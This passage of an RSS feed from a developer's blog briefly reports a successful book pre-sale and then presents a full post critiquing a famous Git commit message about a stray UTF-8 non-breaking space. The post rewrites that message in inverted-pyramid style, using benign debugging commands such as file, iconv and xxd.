&lt;p>The pre-sale ended with $6,551 in sales from 191 customers.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-total.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-total_hu_f5fe1c0fb1df51e6.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-total_hu_8bd6011247131b8e.webp 600w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-total_hu_15d386bf34e960bf.webp 800w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-total.webp 940w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-total.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 







&lt;div class="img" style="max-width: 593px">



 &lt;a href="https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-graph.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 593px, 98vw"
 srcset='https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-graph_hu_58209546a43aa1d1.webp 300w, https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-graph.webp 591w'
 src="https://mtlynch.io/book-pre-sale-just-barely-succeeded/final-graph.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="i-get-to-write-my-book">I get to write my book!&lt;/h2>
&lt;p>I never expected such a dramatic end to the pre-sale. The project came within a hair of failing, and the only thing that saved it was Hacker News picking up that longshot sample chapter.&lt;/p>
&lt;p>I&amp;rsquo;m extremely thankful to everyone who supported the project.&lt;/p>
&lt;p>I&amp;rsquo;ve wanted to write this book for the past four years, and I&amp;rsquo;m excited that people pre-ordered and gave me confidence that there are enough interested readers for me to invest the next several months into this book.&lt;/p>
&lt;h2 id="links">Links&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a> - Sample chapters and additional information about the book.&lt;/li>
&lt;li>&lt;a href="https://buttondown.com/refactoring-english">Sign up for email updates about the book&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>No Longer My Favorite Git Commit</title><link>https://mtlynch.io/no-longer-my-favorite-git-commit/</link><pubDate>Wed, 19 Mar 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/no-longer-my-favorite-git-commit/</guid><description>&lt;p>Six years ago, David Thompson wrote a popular blog post called &lt;a href="https://dhwthompson.com/2019/my-favourite-git-commit">&amp;ldquo;My favourite Git commit&amp;rdquo;&lt;/a> celebrating a whimsically detailed commit message his co-worker wrote. I enjoyed the post at the time and have sent it to several teammates as a model for good commit messages.&lt;/p>
&lt;p>I recently revisited Thompson&amp;rsquo;s article as I was creating my own guide to &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">writing useful commit messages&lt;/a>. When pressed to explain what made Thompson&amp;rsquo;s post such an effective example, I was surprised to find that I couldn&amp;rsquo;t. It was fun to read as an outside observer, but I couldn&amp;rsquo;t justify it as a model of good software engineering.&lt;/p></description><content:encoded>&lt;p>Six years ago, David Thompson wrote a popular blog post called &lt;a href="https://dhwthompson.com/2019/my-favourite-git-commit">&amp;ldquo;My favourite Git commit&amp;rdquo;&lt;/a> celebrating a whimsically detailed commit message his co-worker wrote. I enjoyed the post at the time and have sent it to several teammates as a model for good commit messages.&lt;/p>
&lt;p>I recently revisited Thompson&amp;rsquo;s article as I was creating my own guide to &lt;a href="https://refactoringenglish.com/chapters/commit-messages/">writing useful commit messages&lt;/a>. When pressed to explain what made Thompson&amp;rsquo;s post such an effective example, I was surprised to find that I couldn&amp;rsquo;t. It was fun to read as an outside observer, but I couldn&amp;rsquo;t justify it as a model of good software engineering.&lt;/p>
&lt;h2 id="thompsons-favorite-commit">Thompson&amp;rsquo;s favorite commit&lt;/h2>
&lt;p>Here&amp;rsquo;s the &lt;a href="https://github.com/alphagov/govuk-puppet/commit/63b36f93bf75a848e2125008aa1e880c5861cf46">commit message&lt;/a> that so enamored Thompson and others at the time, including me:&lt;/p>
&lt;blockquote>
&lt;h3 id="convert-template-to-us-ascii-to-fix-error">Convert template to US-ASCII to fix error&lt;/h3>
&lt;p>I introduced some tests in a feature branch to match the contents of
&lt;code>/etc/nginx/router_routes.conf&lt;/code>. They worked fine when run with &lt;code>bundle exec rake spec&lt;/code> or &lt;code>bundle exec rspec modules/router/spec&lt;/code>. But when run as
&lt;code>bundle exec rake&lt;/code> each should block failed with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>ArgumentError:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> invalid byte sequence in US-ASCII
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I eventually found that removing the &lt;code>.with_content(//)&lt;/code> matchers made the
errors go away. That there weren&amp;rsquo;t any weird characters in the spec file. And
that it could be reproduced by requiring Puppet in the same interpreter with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>rake -E &lt;span style="color:#ed9d13">&amp;#39;require &amp;#34;puppet&amp;#34;&amp;#39;&lt;/span> spec
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That particular template appears to be the only file in our codebase with an
identified encoding of &lt;code>utf-8&lt;/code>. All others are &lt;code>us-ascii&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dcarley-MBA:puppet dcarley$ find modules -type f -exec file --mime {} &lt;span style="color:#ed9d13">\+&lt;/span> | grep utf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>modules/router/templates/routes.conf.erb: text/plain; &lt;span style="color:#40ffff">charset&lt;/span>=utf-8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Attempting to convert that file back to US-ASCII identified the offending
character as something that looked like a whitespace:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dcarley-MBA:puppet dcarley$ iconv -f UTF8 -t US-ASCII modules/router/templates/routes.conf.erb 2&amp;gt;&amp;amp;&lt;span style="color:#3677a9">1&lt;/span> | tail -n5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> proxy_intercept_errors off;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Set proxy timeout to 50 seconds as a quick fix for problems&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iconv: modules/router/templates/routes.conf.erb:458:3: cannot convert
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After replacing it (by hand) the file identifies as &lt;code>us-ascii&lt;/code> again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dcarley-MBA:puppet dcarley$ file --mime modules/router/templates/routes.conf.erb
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>modules/router/templates/routes.conf.erb: text/plain; &lt;span style="color:#40ffff">charset&lt;/span>=us-ascii
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now the tests work! One hour of my life I won&amp;rsquo;t get back..&lt;/p>&lt;/blockquote>
&lt;p>The &amp;ldquo;punchline&amp;rdquo; is that, after this lengthy preamble, Thompson shows the actual diff:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 816px">



 &lt;a href="https://mtlynch.io/no-longer-my-favorite-git-commit/one-char-diff.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 816px, 98vw"
 srcset='https://mtlynch.io/no-longer-my-favorite-git-commit/one-char-diff_hu_cf63b20e682296f.webp 300w, https://mtlynch.io/no-longer-my-favorite-git-commit/one-char-diff_hu_68c3180ab129b928.webp 600w, https://mtlynch.io/no-longer-my-favorite-git-commit/one-char-diff_hu_6a1bb9b8b6252feb.webp 800w, https://mtlynch.io/no-longer-my-favorite-git-commit/one-char-diff.webp 814w'
 src="https://mtlynch.io/no-longer-my-favorite-git-commit/one-char-diff.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Yes, the commit message contains six paragraphs and five code snippets, all to describe a one-character whitespace change.&lt;/p>
&lt;h2 id="favorite--best">Favorite != best&lt;/h2>
&lt;p>It&amp;rsquo;s easy to see what&amp;rsquo;s appealing about this commit.&lt;/p>
&lt;p>Most developers would document this change as simply &amp;ldquo;Fix whitespace character,&amp;rdquo; so it&amp;rsquo;s a pleasant surprise that someone went to such lengths to explain their process for investigating and fixing the bug.&lt;/p>
&lt;p>It is a good commit message for all the reasons Thompson offers: it creates a searchable artifact and shares helpful insights about the developer&amp;rsquo;s tools and process.&lt;/p>
&lt;p>This is not an attack on Thompson or even the original author of the commit. Thompson never claimed it was the &amp;ldquo;best&amp;rdquo; commit message, just his favorite.&lt;/p>
&lt;p>That said, I now see flaws that prevent me from using it as a model commit message.&lt;/p>
&lt;h3 id="it-buries-the-most-important-information-at-the-end">It buries the most important information at the end&lt;/h3>
&lt;p>When Thompson originally published his blog post, one of the most common critiques was that the commit message was too verbose. I found that criticism misguided.&lt;/p>
&lt;p>Thorough details in a commit message are useful as long as they&amp;rsquo;re relevant, and Thompson&amp;rsquo;s were. They&amp;rsquo;d help less experienced teammates learn the author&amp;rsquo;s debugging process and toolset. They&amp;rsquo;d also give more experienced teammates an opportunity to see if the developer overlooked something or is unaware of a relevant tool.&lt;/p>
&lt;p>The reason people perceived Thompson&amp;rsquo;s example as overly verbose is that it buries the most important information deep into the commit message.&lt;/p>
&lt;p>Re-read the first paragraph:&lt;/p>
&lt;blockquote>
&lt;p>I introduced some tests in a feature branch to match the contents of
&lt;code>/etc/nginx/router_routes.conf&lt;/code>. They worked fine when run with &lt;code>bundle exec rake spec&lt;/code> or &lt;code>bundle exec rspec modules/router/spec&lt;/code>. But when run as
&lt;code>bundle exec rake&lt;/code> each should block failed with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>ArgumentError:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> invalid byte sequence in US-ASCII
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/blockquote>
&lt;p>Three sentences and a code snippet into this commit message, and the reader still doesn&amp;rsquo;t have any information about what the change actually does.&lt;/p>
&lt;p>Commit messages should &lt;a href="https://refactoringenglish.com/chapters/commit-messages/#put-the-most-important-information-first">present the most important information first&lt;/a> and gradually transition to finer details. Journalists call this the inverted pyramid style of writing.&lt;/p>
&lt;div style="max-width: 550px; margin-left: auto; margin-right: auto">
&lt;figure>
&lt;p>&lt;img src="inverted-pyramid.svg" alt="An inverted pyramid">&lt;/p>
&lt;figcaption>&lt;p>Journalists structure news reports in an inverted pyramid, where the information relevant to the most people is at the top.&lt;/p>&lt;/figcaption>
&lt;/figure>
&lt;/div>
&lt;p>If I&amp;rsquo;m scrolling through a commit history, I want to find out quickly if each commit is relevant. The commit message should provide a high-level summary of the change right from the start.&lt;/p>
&lt;h3 id="it-never-quite-explains-the-problem">It never quite explains the problem&lt;/h3>
&lt;p>By the end of Thompson&amp;rsquo;s example commit message, do you even understand the change?&lt;/p>
&lt;p>Here&amp;rsquo;s the closest it comes to explaining the problem:&lt;/p>
&lt;blockquote>
&lt;p>That particular template appears to be the only file in our codebase with an identified encoding of utf-8. All others are us-ascii:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dcarley-MBA:puppet dcarley$ find modules -type f -exec file --mime {} &lt;span style="color:#ed9d13">\+&lt;/span> | grep utf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>modules/router/templates/routes.conf.erb: text/plain; &lt;span style="color:#40ffff">charset&lt;/span>=utf-8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/blockquote>
&lt;p>The message says that &lt;code>routes.conf.erb&lt;/code> has UTF-8 encoding, but it never explains why. Fortunately, the project is open-source, so I can investigate myself.&lt;/p>
&lt;p>The issue is on &lt;a href="https://github.com/alphagov/govuk-puppet/blob/bfe3f647cc158e04ab6c80bee035d2e832582786/modules/router/templates/routes.conf.erb#L463">line 463&lt;/a> of &lt;code>routes.conf.erb&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat modules/router/templates/routes.conf.erb | head -n &lt;span style="color:#3677a9">463&lt;/span> | tail -n &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># where civica QueryPayments calls are taking too long.&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can&amp;rsquo;t see the issue with a regular text editor or web browser, but if you dump the raw file bytes with a tool like &lt;code>xxd&lt;/code>, you see the issue:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat modules/router/templates/routes.conf.erb &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | head -n &lt;span style="color:#3677a9">463&lt;/span> | tail -n &lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | xxd | head -n &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>00000000: &lt;span style="color:#3677a9">2020&lt;/span> 23c2 a077 &lt;span style="color:#3677a9">6865&lt;/span> &lt;span style="color:#3677a9">7265&lt;/span> &lt;span style="color:#3677a9">2063&lt;/span> &lt;span style="color:#3677a9">6976&lt;/span> &lt;span style="color:#3677a9">6963&lt;/span> &lt;span style="color:#999;font-style:italic">#..where civic&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^^ ^^
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you haven&amp;rsquo;t memorized the US-ASCII and UTF-8 tables, here are the first few characters of that line:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Byte representation&lt;/th>
 &lt;th>Text representation&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;code>0x20&lt;/code>&lt;/td>
 &lt;td>&lt;code>' '&lt;/code> (space)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;code>0x20&lt;/code>&lt;/td>
 &lt;td>&lt;code>' '&lt;/code> (space)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;code>0x23&lt;/code>&lt;/td>
 &lt;td>&lt;code>'#'&lt;/code>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;code>0xc2&lt;/code> &lt;code>0xa0&lt;/code>&lt;/td>
 &lt;td>&lt;code>' '&lt;/code> (&lt;a href="https://www.compart.com/en/unicode/U+00A0">UTF-8 non-breaking space&lt;/a>)&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>So, the file had the byte sequence &lt;code>0xC2 0xA0&lt;/code>, which means it can&amp;rsquo;t be a US-ASCII file, as &lt;code>0xC2&lt;/code> and &lt;code>0xA0&lt;/code> both fall outside of &lt;a href="https://www.columbia.edu/kermit/ascii.html">the US-ASCII byte range&lt;/a>.&lt;/p>
&lt;p>The &lt;code>0xC2 0xA0&lt;/code> sequence means any application that consumes &lt;code>routes.conf.erb&lt;/code> must interpret it with UTF-8 encoding, a newer and more internationally-friendly scheme for encoding text.&lt;/p>
&lt;p>Thompson&amp;rsquo;s codebase used &lt;a href="https://github.com/alphagov/govuk-puppet/blob/63b36f93bf75a848e2125008aa1e880c5861cf46/.ruby-version">Ruby 1.9.3&lt;/a>, which &lt;a href="http://graysoftinc.com/character-encodings/ruby-19s-three-default-encodings">supported UTF-8 encoding&lt;/a>, but it defaulted to US-ASCII if the file didn&amp;rsquo;t explicitly declare otherwise.&lt;/p>
&lt;p>Digging through the source history, I found that &lt;a href="https://github.com/alphagov/govuk-puppet/commit/5a86076bd73f0e92558d49a15f4e828860886eca">commit 5a8607&lt;/a> originally introduced the UTF-8 character. That commit message doesn&amp;rsquo;t mention any reason for introducing the UTF-8 character, so it was likely an accident.&lt;/p>
&lt;p>A Hacker News commenter &lt;a href="https://news.ycombinator.com/item?id=21290159">floated a plausible theory&lt;/a> about why that stray UTF-8 character appeared in &lt;code>routes.conf.erb&lt;/code>:&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>the likely origin of the invalid character is somebody using an Apple Ireland/UK keyboard layout where # is Option-3 (AltGr-3), and non-breaking space is Option-Space (AltGr-Space).&lt;/em>&lt;/p>
&lt;p>-&lt;a href="https://news.ycombinator.com/item?id=21290159">messe&lt;/a> on Hacker News&lt;/p>&lt;/blockquote>
&lt;h3 id="it-references-code-without-linking-to-it">It references code without linking to it&lt;/h3>
&lt;p>Thompson&amp;rsquo;s example commit opens with a reference to some external code:&lt;/p>
&lt;blockquote>
&lt;p>I introduced some tests in a feature branch to match the contents of
&lt;code>/etc/nginx/router_routes.conf&lt;/code>. They worked fine when run with &lt;code>bundle exec rake spec&lt;/code> or &lt;code>bundle exec rspec modules/router/spec&lt;/code>.&lt;/p>&lt;/blockquote>
&lt;p>But the commit message never names the branch or specifies a commit hash, so the reader has no way to reproduce the developer&amp;rsquo;s findings.&lt;/p>
&lt;p>Later, the commit message says:&lt;/p>
&lt;blockquote>
&lt;p>I eventually found that removing the &lt;code>.with_content(//)&lt;/code> matchers made the errors go away. I didn&amp;rsquo;t see any weird characters in the spec file.&lt;/p>&lt;/blockquote>
&lt;p>Without a commit hash or link, the reader doesn&amp;rsquo;t know what matchers or which spec file the developer means.&lt;/p>
&lt;p>If a commit message references external code, it should &lt;a href="https://refactoringenglish.com/chapters/commit-messages/#cross-references-to-issues-or-other-changes">link to it explicitly&lt;/a> so that code reviewers and future maintainers can see the exact context for the change.&lt;/p>
&lt;h2 id="my-rewrite">My rewrite&lt;/h2>
&lt;p>Here&amp;rsquo;s my proposed revision of Thompson&amp;rsquo;s favorite git commit:&lt;/p>
&lt;!-- markdownlint-disable no-empty-links -->
&lt;blockquote>
&lt;h3 id="convert-routesconferb-template-to-us-ascii">Convert routes.conf.erb template to US-ASCII&lt;/h3>
&lt;p>&lt;code>routes.conf.erb&lt;/code> has a stray UTF-8 character that seems to have been introduced by accident in &lt;a href="https://github.com/alphagov/govuk-puppet/commit/5a86076bd73f0e92558d49a15f4e828860886eca">5a8607&lt;/a>.&lt;/p>
&lt;p>&lt;code>rake&lt;/code> expect US-ASCII format, so the single UTF-8 character in &lt;code>routes.conf.erb&lt;/code> causes test failures in &lt;code>rake&lt;/code>.&lt;/p>
&lt;p>This change replaces the UTF-8 character with an equivalent US-ASCII character to prevent test failures in &lt;code>rake&lt;/code>.&lt;/p>
&lt;h4 id="the-stray-utf-8-character">The stray UTF-8 character&lt;/h4>
&lt;p>The issue is on line 463 of &lt;code>modules/router/templates/routes.conf.erb&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat modules/router/templates/routes.conf.erb &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | head -n &lt;span style="color:#3677a9">463&lt;/span> | tail -n &lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | xxd | head -n &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>00000000: &lt;span style="color:#3677a9">2020&lt;/span> 23c2 a077 &lt;span style="color:#3677a9">6865&lt;/span> &lt;span style="color:#3677a9">7265&lt;/span> &lt;span style="color:#3677a9">2063&lt;/span> &lt;span style="color:#3677a9">6976&lt;/span> &lt;span style="color:#3677a9">6963&lt;/span> &lt;span style="color:#999;font-style:italic">#..where civic&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^^ ^^
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>0xC2 0xA0&lt;/code> is not a valid US-ASCII byte sequence, but it&amp;rsquo;s the &lt;a href="https://www.compart.com/en/unicode/U+00A0">UTF-8 non-breaking space character&lt;/a>. Any tool that reads the file expecting US-ASCII encoding will fail.&lt;/p>
&lt;h4 id="how-i-discovered-this">How I discovered this&lt;/h4>
&lt;p>I introduced some tests in a feature branch to match the contents of &lt;code>/etc/nginx/router_routes.conf&lt;/code> (see &lt;a href="#">abcd123&lt;/a>). They worked fine when I ran them with &lt;code>bundle exec rake spec&lt;/code> or &lt;code>bundle exec rspec modules/router/spec&lt;/code>, but when I ran the tests as &lt;code>bundle exec rake&lt;/code>, each &lt;code>should&lt;/code> block failed with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>ArgumentError:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> invalid byte sequence in US-ASCII
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I eventually found that removing the &lt;code>.with_content(//)&lt;/code> matchers made the errors go away. I didn&amp;rsquo;t see any weird characters in the spec file. I could reproduce the error by requiring Puppet in the same interpreter with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>rake -E &lt;span style="color:#ed9d13">&amp;#39;require &amp;#34;puppet&amp;#34;&amp;#39;&lt;/span> spec
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That particular template appears to be the only file in our codebase that &lt;code>file&lt;/code> identifies as &lt;code>utf-8&lt;/code>. All others are &lt;code>us-ascii&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ find modules -type f -exec file --mime {} &lt;span style="color:#ed9d13">\+&lt;/span> | grep utf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>modules/router/templates/routes.conf.erb: text/plain; &lt;span style="color:#40ffff">charset&lt;/span>=utf-8
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Attempting to convert that file back to US-ASCII identified the offending character as something that looked like a whitespace:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ iconv -f UTF8 -t US-ASCII modules/router/templates/routes.conf.erb 2&amp;gt;&amp;amp;&lt;span style="color:#3677a9">1&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | tail -n5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> proxy_intercept_errors off;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Set proxy timeout to 50 seconds as a quick fix for problems&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iconv: modules/router/templates/routes.conf.erb:458:3: cannot convert
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After I replaced the UTF-8 character (by hand), &lt;code>file&lt;/code> identifies &lt;code>routes.conf.erb&lt;/code> as &lt;code>us-ascii&lt;/code> again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ file --mime modules/router/templates/routes.conf.erb
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>modules/router/templates/routes.conf.erb: text/plain; &lt;span style="color:#40ffff">charset&lt;/span>=us-ascii
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now the tests work! One hour of my life I won&amp;rsquo;t get back..&lt;/p>&lt;/blockquote>
&lt;p>Here were my changes:&lt;/p>
&lt;ul>
&lt;li>I added a high-level summary early in the message.&lt;/li>
&lt;li>I added a more explicit explanation of the UTF-8 character and where it came from.&lt;/li>
&lt;li>I moved most of the author&amp;rsquo;s original content to a &amp;ldquo;How I found this&amp;rdquo; section to make it clear that it&amp;rsquo;s &lt;a href="https://refactoringenglish.com/chapters/commit-messages/#rants-and-stories">extra-credit reading&lt;/a>.&lt;/li>
&lt;li>I made light grammatical fixes.&lt;/li>
&lt;li>I &lt;a href="https://refactoringenglish.com/chapters/passive-voice-considered-harmful/">removed passive voice&lt;/a> to reduce ambiguity.&lt;/li>
&lt;li>I simplified the terminal prompt from &lt;code>dcarley-MBA:puppet dcarley $&lt;/code> to just &lt;code>$&lt;/code>, as the former is mostly noise.&lt;/li>
&lt;/ul>
&lt;p>Notably, I didn&amp;rsquo;t remove details, as the problem wasn&amp;rsquo;t verbosity but how the developer organized and presented information.&lt;/p>
&lt;h2 id="the-value-of-defining-your-own-principles">The value of defining your own principles&lt;/h2>
&lt;p>Revisiting Thompson&amp;rsquo;s post reminded me how much value there is in defining software engineering principles for yourself.&lt;/p>
&lt;p>I accepted the commit as a good example because I agreed with Thompson about its strengths. It wasn&amp;rsquo;t until I sat down and defined what I think are the most important qualities in a commit message that I saw the shortcomings of Thompson&amp;rsquo;s example.&lt;/p>
&lt;p>I&amp;rsquo;ve explained my perspective about several different software engineering practices over the years, and every time I do it, it makes me a better developer. It forces me to think critically about ideas I take for granted and helps me remember what my ideal looks like even if I&amp;rsquo;m not always able to achieve it.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/human-code-reviews-1/">Reviewing code for teammates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/code-review-love/">Sending out my code for review&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/good-developers-bad-tests/">Writing unit tests&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/freelancer-guidelines/">Communicating with freelance software developers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://refactoringenglish.com/chapters/rules-for-software-tutorials/">Writing software tutorials&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="further-reading">Further reading&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://refactoringenglish.com/chapters/commit-messages/">&amp;ldquo;How to Write Useful Commit Messages&amp;rdquo;&lt;/a> - My more detailed explanation of what I think makes a good commit message.&lt;/li>
&lt;/ul>
&lt;hr>
